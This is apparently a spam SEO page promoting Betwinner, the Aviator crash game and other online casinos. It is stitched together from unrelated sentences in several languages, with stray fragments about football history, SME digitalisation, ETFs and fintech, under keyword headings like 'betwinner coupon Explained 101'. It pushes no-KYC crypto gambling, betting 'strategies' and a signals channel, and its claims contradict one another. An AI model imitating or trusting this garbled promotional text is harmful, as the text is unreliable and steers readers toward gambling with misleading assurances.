This will prompt you to enter your email address and click on the ‘Reset Password’ button. The game Aviator algorithm is based on a random number generator RNG, guaranteeing fairness and unpredictability in each round. Published on 13/01/2025, 08:00 by Yunchu Li Modified on 13/01/2025 at 09:00. The true power of LTV lies in its ability to predict future revenue and guide decision making. Il semble à l’inverse que ces derniers soient désormais tout à fait centraux. Download the Betwinner app and soar to victory. Choose licensed gambling sites such as 1win, 1xbet, Pin Up, Mostbet. This plan of action has two goals. 💰 Instant Crypto Payments🦸‍♂️ Play Safe and Anonymous👮 KYC Is Not Required. Com um código promocional, este bônus pode aumentar para 2. Homer Marshman was granted a Cleveland franchise, named the Rams, February 12. Locate the Aviator download page. Regular networking events, career fairs, and alumni panels provide students with the chance to interact with industry professionals, alumni, and potential employers, allowing them to gain insights into various career paths and make valuable connections that can lead to internships and job opportunities. On the other hand, if you are the only winner, then you get to keep it all. The user can find all these categories on the main page of the website and can choose their favourite games. Punters can complete their eligibility by clicking on “opt in” in the account settings to participate in this bonus. The Aviator app is a great way to play the popular crash game on your mobile device and PC. You maneuver through and enjoy the world of flying. Friends from the neighborhood latch onto the athlete and live the celebrity life while being a persistent drain on finances and a source of bad ideas. Na interface desse Slots, você também encontra ferramentas de aposta automática, um Histórico de apostas, e a funcionalidade Turbo. Proposition 3 : le développement des capacités numériques entraîne l’émergence de nouvelles capacités au sein de la PME et renforce ainsi son internationalisation. If they’re interested in promoting a quality online casino and sportsbook brand then affiliates should definitely consider joining BetWinner Affiliates. Sosyal medya ile kayıt olmanın avantajı, ekstra form doldurmadan hızlı bir şekilde Betwinner giriş yapabilmenizdir. L’animation démarre et les joueurs placent leurs paris pendant que le jet décolle. It’s offered on various licensed and regulated online casinos. If you download the Aviator game app on your Android device, follow these simple steps. Les statistiques de labilletterie ont dû être retraitées selon la région de résidence du spectateur tableau2.

What Everyone Ought To Know About betwinner coupon

Setting and Achieving Goals

We reserve the right to deny any player registration Tweakzen and access to the app without explanation. Gh is owned and operated by Inter Omega Limited Reg No: CS237471220, based in Accra, Ghana. There are no game sounds or distorted audio. If you arrive at typically the “Double” space, just about all coefficients are doubled, and the basketball is relaunched. Ao comparar a versão móvel da Betwinner com a versão desktop, é notável betwinner-benin.com/coupon a consistência em termos de design, funcionalidades e oferta de jogos. It’s important to us that Aviator fans get fast and high quality help from the support service: answers to questions, solving problems with the application, etc. If you encounter any issues, use the “Forgot Password” option to recover your account quickly. Pierzi pariul dacă nu plasezi un pariu cu o sumă de bani înainte de începerea rundei. For players interested in such a bonus, we have a no deposit bonus Bitstarz to check out.

9 Key Tactics The Pros Use For betwinner coupon

Cbet

The step by step process to do the betwinner deposit using UPI are explained as below. The Betwinner mobile apk has gathered the best features and options focused on the convenience and satisfaction of Indian bettors. Al hacer clic en “Aceptar todas”, das tu consentimiento para que utilicemos cookies. After completing these steps, you will get access to your personal account and you can start betting. Aviator App for Android. Throughout the day there is plenty for you to bet on and other promotions to enjoy, so join up with this site now and see just what they have on offer. There is no way to hack the Aviator game and predict all the results of the game, as it uses an RNG algorithm. Before making the first transaction, users must go through an account verification process. Those visiting or registering an account with a minimum deposit casino should not be subjected to a lesser quantity of casino games. You are required to place accumulator bets at least three selections and each selection must have odds of at least 1. Not only is it’s mobile application but the website is also 100 percent secure and safe. E, aqui está o vencedor, no Pin up, para prêmios muito superiores aos $50.

7 Days To Improving The Way You betwinner coupon

The role of active management in the future

Similar to platforms like Betwinner, Aviator rewards new players with exciting perks that make your initial experience more rewarding. Use of and/or registration on any portion of this site constitutes acceptance of our User Agreement, updated 8/1/2024 and acknowledgement of our Privacy Policy, and Your Privacy Choices and Rights updated 1/1/2025. The BetWinner Casino has lots of betting opportunities and a welcome offer that can get as high as €1500 and 150 spins. What’s also great about 22Bet is how seriously they take security. At Baji555 every player will find something interesting for himself: sports and esports betting, slots, live casino games. However, with the advancement of smartphones and tablets comes an array of opportunities for airplane game players. What’s more, with the help of a good betting strategy and Stake no Brasil’s incredible promotions, you can go even further. You will be asked to provide your legal name, email, phone number, and other important information as you sign up. Here are the https://lanation.bj/sports available methods. To win consistently in Aviator, you need to use strategies and tactics. You are allowed to do Online Advertising including Industry Relevant Expertise, Niche Websites, Personal Websites, Comparison Websites, Video Blogs and Web blogs, PPC search campaigns, Loyalty and Reward Sites, RSS Feeds, Opt in Email Marketing Campaigns subject to your having the requisite consent to send such marketing communications, and Social Media marketing. Les limites de la transformation digitale dans le conseil en financement de l’innovation. This high RTP indicates a favorable return over time, making it an attractive option for players looking for games with higher payout potential. The Pachinko bonus could also be discovered on two spokes, and this a single sees a choice of cash prizes laying at the base from the screen. Public perception plays a significant role in the debate. In 2016, Pin Up India launched the official site and mobile app to provide Indians with access to first rate online casino services. Use Progressive Betting Strategies: Progressive betting strategies can be applied to Sweet Bonanza to increase your chances of winning big. Après avoir vérifié votre coupon, vous pourrez l’utiliser conformément aux termes et conditions spécifiés. Obtenez un Bonus de 100% jusqu’à 150 $ sur votre premier dépôt + 150 Tours Gratuits et un Pack de bienvenue jusqu’à 300€.

betwinner coupon Explained 101

Welcome bonus

If they wait too long, they will lose their entire bet, but longer waits also increase the size of potential wins. As the online betting industry continues to evolve, Betwinner’s partnerships will remain a key driver of its success, helping to shape the future of the industry and setting new benchmarks for excellence. Avec une large palette de paris, des conseils adaptés aux débutants, des options pour gérer les limites de mise et des compétitions en direct, la plateforme garantit une expérience fluide et diversifiée. Relying solely on luck, however, can result in losing your deposit in the long run. By joining the Betwinner affiliate program, partners have access to a lucrative opportunity to maximize revenue through various betting options, live casinos, virtual sports, and more. Install the mobile app on your smartphone, JetX login, and enjoy flying towards victory in the JetX betting game. To understand the rules of Jetix Bet, check out our article or the rules section inside the game. Ce phénomène est évidemment à modérer selon les territoires envisagés. I posted the below review last time and got a reply from betwinner. En se concentrant sur la résolution rapide des problèmes courants, Betwinner assure une expérience de paris fluide et sans tracas pour ses utilisateurs. Check our promotions section regularly for tailored offers that can enhance your gameplay and increase your returns. Important bonus terms. The one bonus multiplier is merely more than the other so you will be a winner no matter on which colour this lands on. ETFs allow investors to buy shares in a fund that tracks an index, providing broad market exposure and diversification without the high fees typically associated with actively managed funds. Just like the iOS app, the Betwinner app download for android is also very simple. Pour décider entre le site web et l’application mobile de Betwinner pour les paris sportifs, il est utile de comparer les deux plateformes selon différents critères. Keyingi qadamda 1,5 multiplikator bilan avtomatik yechib olishni o’rnatish va boshqa yutuqli pul tikish osonligi mavjud. Avec des bonus attrayants, des options de paiement flexibles et une assistance clientèle dédiée, votre aventure chez Betwinner est assurée d’être exceptionnelle. Check the table below to know about current bonuses in the Aviator apps in India. Estas funcionalidades tornam a Betwinner uma plataforma atraente para os apostadores que procuram uma experiência de apostas mais interativa e imersiva. Desde bônus de boas vindas até ofertas especiais para eventos, a Betwinner oferece uma gama de promoções que realçam sua vantagem competitiva. Fortune Rabbit throws a hip hop twist on the usually generic Asian theme. The baji live platform is designed to be accessible and enjoyable, whether you’re on bajilive or baje live. The information requested is what you would expect from a sportsbook; your name, date of birth, email address, username and password. And at the very least, it is worth testing the application in person to draw your conclusions. For example, you can try our Telegram channel if you consider using signals.

Welcome bonus

To summarize the steps previously mentioned, here’s the sequence. Employment Opportunities. The key is to craft messages that resonate with the audience’s interests and needs, positioning Rewards Affiliates program as a solution that offers value. To add insult to injury, the lady ended up hanging up on me without resolving my issue. Bu süreç, kullanıcıların sorunlarını hızlı ve etkili bir şekilde çözüme kavuşturabilmelerini sağlar. Sous ces boutons, vous remarquerez des chiffres – il s’agit du numéro de votre compte de jeu et de la somme d’argent que vous avez déposée. Wagering RequirementYes. Players must first deposit into their accounts to use this real cash in the Aviator game. Advanced data analytics play a crucial role in sustainable finance. Bir diğer yaygın problem, kullanıcının kendi hatalarından kaynaklanan sorunlardır. Le chiffre d’affaires des jeux de tirage progresse de +2,1 % et de +9,8 % hors Amigo. Besides the diverse natural resources it is endowed with, Nigeria disposes of a huge human capital, with trained and qualified professionals readily available at competitive costs in the employment market. The app offers a diverse selection of casino games, sports betting options, and live dealer experiences. Discover the Aviator Online Casino Game, a thrilling virtual betting experience where players wager on a plane’s flight outcome. With minimum bets starting as low as €0. Customers can obtain loans more quickly than with traditional banks, due to simplified online applications and algorithms that assess creditworthiness in real time. Troubleshooting Tips for Android. Here’s a list of the top 10 Indian online casinos where you can get unfiltered gaming fun alongside their key advantages. While the exact specifications can vary centered on the platform and any updates to Kenyan polices, there are typical standards that Kenyan players should predict. The Aviator Predictor APK is an app created by scammers, claiming it can predict the outcome of the RNG. This makes it a trusted choice for those interested in online multiplayer casino games. However, the application is under development and will be available for download soon.

Tiny Toads

It is always a good idea to read the terms and conditions of each promo code before using it. It’s also possible to call them on +44 20 3808 8565 or if you have any technical issues, you can email support. 18+ TandC apply, BeGambleAware. Absolutely, you can withdraw your winnings on the Aviator app. One of the main reasons why you should play Aviator online game is the high odds it offers. Adres çubuğunda ‘https’ ibaresinin bulunması ve yanında bir kilit simgesinin olması, sitenin güvenli bir bağlantı kullandığını gösterir. After you score a winning combo, the symbols vanish, allowing new ones to tumble into place, paving the way for multiple wins in a single spin. Bonus funds can be credited starting from 30 days after registration. TRON TRX, DOGE, Ripple XRP, USDT TRC20, BNB, USDT BEP20, BTC, USDT AVAX C CHAIN. Este segmento destaca as principais características que tornam a Betwinner uma escolha excepcional para apostadores. 5 CPM,domain ads costs start from $1. Think of how we can pay for a car ride directly on the Uber app. Partners is a reputable casino and betting operator, specializing in the European market. By analyzing customer data, banks can deliver tailored products and services that meet the unique needs of each customer.